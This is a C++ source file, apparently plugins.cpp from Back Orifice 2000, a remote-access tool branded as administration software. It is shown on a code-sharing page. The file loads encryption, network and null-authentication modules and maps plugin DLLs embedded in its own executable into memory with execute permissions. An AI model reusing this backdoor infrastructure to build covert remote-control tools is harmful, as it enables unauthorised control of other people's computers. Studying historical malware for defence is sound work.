plugins.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:9k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. #include<windows.h>
  16. #include<winnt.h>
  17. #include<bocomreg.h>
  18. #include<iohandler.h>
  19. #include<encryption.h>
  20. #include<dll_load.h>
  21. #include<commandloop.h>
  22. #include<comm_native.h>
  23. #include<plugins.h>
  24. #include<cmdcmd_tcpip.h>
  25. #include<cmdcmd_plugin.h>
  26. #include<cmdcmd_file.h>
  27. #include<config.h>
  28. #include<xorencrypt.h>
  29. #include<deshash.h>
  30. #include<io_simpleudp.h>
  31. #include<io_simpletcp.h>
  32. #include<nullauth.h>
  33. #include<main.h>
  34. // -------------------- Plugins placeholder segment ------------------
  35. #pragma data_seg(".plugins")
  36. BYTE buttocks[1024]="<<<.OOM>>>";
  37. #pragma data_seg()
  38. #pragma comment(linker,"/section:.plugins,r")
  39. // --------------------- Plugin manager options ----------------------
  40. char g_svBuiltInOptions[]="<**CFG**>Built-In"
  41.                           "B:Load XOR Encryption=1"
  42. //   "B:Load DES Encryption=1"
  43.   "B:Load NULLAUTH Authentication=1"
  44.   "B:Load UDP IO Module=1"
  45.   "B:Load TCP IO Module=1";
  46. // --------------------- Function implementations ---------------------
  47. HMODULE *g_phmodPlugins=NULL;
  48. int g_nPluginCount=0;
  49. void InitializeCommands(void)
  50. {
  51. // Register Native BO Commands
  52. RegisterNativeCommands();
  53. // Initialize Native BO Commands
  54. Cmd_Tcpip_Init();
  55. Cmd_Buttplugs_Init();
  56. Cmd_FileXfer_Init();
  57. // Initialize DLLLoad
  58. InitializeDLLLoad();
  59. // Create Global IO, Encryption, and Authentication Handlers
  60. g_pIOHandler=new CIOHandler();
  61. if(g_pIOHandler==NULL) return;
  62. g_pEncryptionHandler=new CEncryptionHandler();
  63. if(g_pEncryptionHandler==NULL) return;
  64. g_pAuthHandler=new CAuthHandler();
  65. if(g_pAuthHandler==NULL) return; 
  66. // Add built-in options
  67. if(GetCfgBool(g_svBuiltInOptions,"Load XOR Encryption"))
  68. g_pEncryptionHandler->Insert(GetXOREncryptionEngine());
  69. // if(GetCfgBool(g_svBuiltInOptions,"Load DES Hashing"))
  70. g_pEncryptionHandler->Insert(GetDESHashEngine());
  71. if(GetCfgBool(g_svBuiltInOptions,"Load UDP IO Module"))
  72. g_pIOHandler->Insert(GetSimpleUdpIOHandler());
  73. if(GetCfgBool(g_svBuiltInOptions,"Load TCP IO Module"))
  74. g_pIOHandler->Insert(GetSimpleTcpIOHandler());
  75. if(GetCfgBool(g_svBuiltInOptions,"Load NULLAUTH Authentication"))
  76. g_pAuthHandler->Insert(GetNullAuthHandler());
  77. // Load plugins
  78. LoadPlugins();
  79. }
  80. void TerminateCommands(void)
  81. {
  82. // Unload plugins
  83. UnloadPlugins();
  84. // Get rid of authentication handler
  85. int i;
  86. for(i=0;i<MAX_AUTH_HANDLERS;i++) {
  87. g_pAuthHandler->Remove(i);
  88. }
  89. delete g_pAuthHandler;
  90. // Uninstall encryption
  91. for(i=0;i<MAX_ENCRYPTION_ENGINES;i++) {
  92. g_pEncryptionHandler->Remove(i);
  93. }
  94. delete g_pEncryptionHandler;
  95. // Terminate IO System
  96. for(i=0;i<MAX_IO_HANDLERS;i++) {
  97. g_pIOHandler->Remove(i);
  98. }
  99. delete g_pIOHandler;
  100. // Remove DLLLoad
  101. KillDLLLoad();
  102. // Terminate native commands
  103. Cmd_FileXfer_Kill();
  104. Cmd_Buttplugs_Kill();
  105. Cmd_Tcpip_Kill();
  106. }
  107. void LoadPlugins(void)
  108. {
  109. BYTE *pImage=(BYTE *)g_module;
  110. // Get PE Header
  111. PIMAGE_FILE_HEADER pfh;
  112. pfh=(PIMAGE_FILE_HEADER) PEFHDROFFSET(pImage);
  113. // Get Section Count
  114. int nSectionCount;
  115. nSectionCount=pfh->NumberOfSections;
  116. // Get Section Header
  117. PIMAGE_SECTION_HEADER psh;
  118.     psh = (PIMAGE_SECTION_HEADER)SECHDROFFSET (pImage);
  119. // Find the ".plugins" segment
  120. int i;
  121. for(i=0;i<nSectionCount;i++) {
  122. if( (*((DWORD *)(psh->Name))==0x756C702E) &&
  123. (*(((DWORD *)(psh->Name))+1)==0x736E6967) ) {
  124. break;
  125. }
  126. psh++;
  127. }
  128. if(i==nSectionCount) return;
  129. // Get plugin header
  130. PATTACHMENT_HEADER pah;
  131. pah = (PATTACHMENT_HEADER)RVATOVA(pImage,psh->VirtualAddress);
  132. // Install each plugin
  133. BYTE *pPlugin;
  134. DWORD dwSize;
  135. int count;
  136. count=pah->nNumPlugins;
  137. g_nPluginCount=0;
  138. pPlugin=(((BYTE *)pah)+sizeof(ATTACHMENT_HEADER));
  139. for(i=0;i<count;i++) {
  140. // Get Plugin Size
  141. dwSize=*((DWORD *)pPlugin);
  142. pPlugin+=sizeof(DWORD);
  143. // Add plugin
  144. AddPlugin(pPlugin,dwSize);
  145. // Go to next plugin
  146. pPlugin+=dwSize;
  147. }
  148. }
  149. void UnloadPlugins(void)
  150. {
  151. int i;
  152. if(g_phmodPlugins!=NULL) {
  153. for(i=0;i<g_nPluginCount;i++) {
  154. HMODULE hDLL;
  155. hDLL=*(g_phmodPlugins+i);
  156. TYPEOF_TerminatePlugin *TerminatePlugin=(TYPEOF_TerminatePlugin *)GetDLLProcAddress(hDLL,"TerminatePlugin");
  157. TerminatePlugin();
  158. FreeDLL(hDLL);
  159. }
  160. free(g_phmodPlugins);
  161. g_phmodPlugins=NULL;
  162. g_nPluginCount=0;
  163. }
  164. }
  165. int AddPlugin(void *pPlugin, int nSize)
  166. {
  167. // Fill in plugin linkage to pass to installation function
  168. PLUGIN_LINKAGE pl;
  169. pl.pEncryptionHandler=g_pEncryptionHandler;
  170. pl.pIOHandler=g_pIOHandler;
  171. pl.pAuthHandler=g_pAuthHandler;
  172. pl.pIssueAuthCommandRequest=IssueAuthCommandRequest;
  173. pl.pIssueAuthCommandReply=IssueAuthCommandReply;
  174. pl.pListenAuthSocket=ListenAuthSocket;
  175. pl.pConnectAuthSocket=ConnectAuthSocket;
  176. pl.pDispatchCommand=DispatchCommand;
  177. pl.pRegisterCommand=RegisterCommand;
  178. pl.pUnregisterCommand=UnregisterCommand;
  179. pl.pRegisterClientMenu=NULL;
  180. pl.pUnregisterClientMenu=NULL;
  181. pl.pInteractiveConnect=NULL;
  182. pl.pInteractiveListen=NULL;
  183. // Load Plugin DLL
  184. HMODULE hDLL;
  185. hDLL=LoadDLLFromImage(pPlugin,NULL,RWX_PERMISSIONS);
  186. if(hDLL!=NULL) {
  187. // Call plugin installation function
  188. TYPEOF_InstallPlugin *InstallPlugin=(TYPEOF_InstallPlugin *)GetDLLProcAddress(hDLL,"InstallPlugin");
  189. if(InstallPlugin(pl)) {
  190. // Increase size of plugin array
  191. void *pMem,*pDum;
  192. pMem=malloc(sizeof(HMODULE)*(g_nPluginCount+1));
  193. if(pMem!=NULL) {
  194. memcpy(pMem,g_phmodPlugins,sizeof(HMODULE)*g_nPluginCount);
  195. pDum=g_phmodPlugins;
  196. g_phmodPlugins=(HMODULE *)pMem;
  197. if(pDum!=NULL) free(pDum);
  198. // Add plugin to plugin array
  199. g_phmodPlugins[g_nPluginCount]=hDLL;
  200. g_nPluginCount++;
  201. return 0;
  202. }
  203. FreeDLL(hDLL);
  204. }
  205. return -1;
  206. }
  207. int DebugPlugin(char *svPluginFile)
  208. {
  209. // Fill in plugin linkage to pass to installation function
  210. PLUGIN_LINKAGE pl;
  211. pl.pEncryptionHandler=g_pEncryptionHandler;
  212. pl.pIOHandler=g_pIOHandler;
  213. pl.pAuthHandler=g_pAuthHandler;
  214. pl.pIssueAuthCommandRequest=IssueAuthCommandRequest;
  215. pl.pIssueAuthCommandReply=IssueAuthCommandReply;
  216. pl.pListenAuthSocket=ListenAuthSocket;
  217. pl.pConnectAuthSocket=ConnectAuthSocket;
  218. pl.pDispatchCommand=DispatchCommand;
  219. pl.pRegisterCommand=RegisterCommand;
  220. pl.pUnregisterCommand=UnregisterCommand;
  221. pl.pRegisterClientMenu=NULL;
  222. pl.pUnregisterClientMenu=NULL;
  223. pl.pInteractiveConnect=NULL;
  224. pl.pInteractiveListen=NULL;
  225. // Load Plugin DLL
  226. HMODULE hDLL;
  227. hDLL=LoadLibrary(svPluginFile);
  228. if(hDLL!=NULL) {
  229. // Call plugin installation function
  230. TYPEOF_InstallPlugin *InstallPlugin=(TYPEOF_InstallPlugin *)GetDLLProcAddress(hDLL,"InstallPlugin");
  231. if(InstallPlugin(pl)) {
  232. // Increase size of plugin array
  233. void *pMem,*pDum;
  234. pMem=malloc(sizeof(HMODULE)*(g_nPluginCount+1));
  235. if(pMem!=NULL) {
  236. memcpy(pMem,g_phmodPlugins,sizeof(HMODULE)*g_nPluginCount);
  237. pDum=g_phmodPlugins;
  238. g_phmodPlugins=(HMODULE *)pMem;
  239. if(pDum!=NULL) free(pDum);
  240. // Add plugin to plugin array
  241. g_phmodPlugins[g_nPluginCount]=hDLL;
  242. g_nPluginCount++;
  243. return 0;
  244. }
  245. FreeDLL(hDLL);
  246. }
  247. return -1;
  248. }
  249. int RemovePlugin(int nNum)
  250. {
  251. if(nNum<0 || nNum>=g_nPluginCount) return -1;
  252. // Unload specified plugin
  253. HMODULE hDLL;
  254. hDLL=g_phmodPlugins[nNum];
  255. TYPEOF_TerminatePlugin *TerminatePlugin=(TYPEOF_TerminatePlugin *)GetDLLProcAddress(hDLL,"TerminatePlugin");
  256. TerminatePlugin();
  257. FreeDLL(hDLL);
  258. FreeLibrary(hDLL); // For debugging plugins only
  259. // Remove from array
  260. void *pMem,*pDum;
  261. pMem=malloc(sizeof(HMODULE)*(g_nPluginCount-1));
  262. if(pMem==NULL) return -1;
  263. memcpy(pMem,g_phmodPlugins,sizeof(HMODULE)*nNum);
  264. memcpy((HMODULE *)pMem+nNum,g_phmodPlugins+(nNum+1),sizeof(HMODULE)*(g_nPluginCount-(nNum+1)));
  265. pDum=g_phmodPlugins;
  266. g_phmodPlugins=(HMODULE *)pMem;
  267. free(pDum);
  268. g_nPluginCount--;
  269. return 0;
  270. }
  271. HMODULE GetPlugin(int nNum)
  272. {
  273. if(nNum<0 || nNum>=g_nPluginCount) return NULL;
  274. return g_phmodPlugins[nNum];
  275. }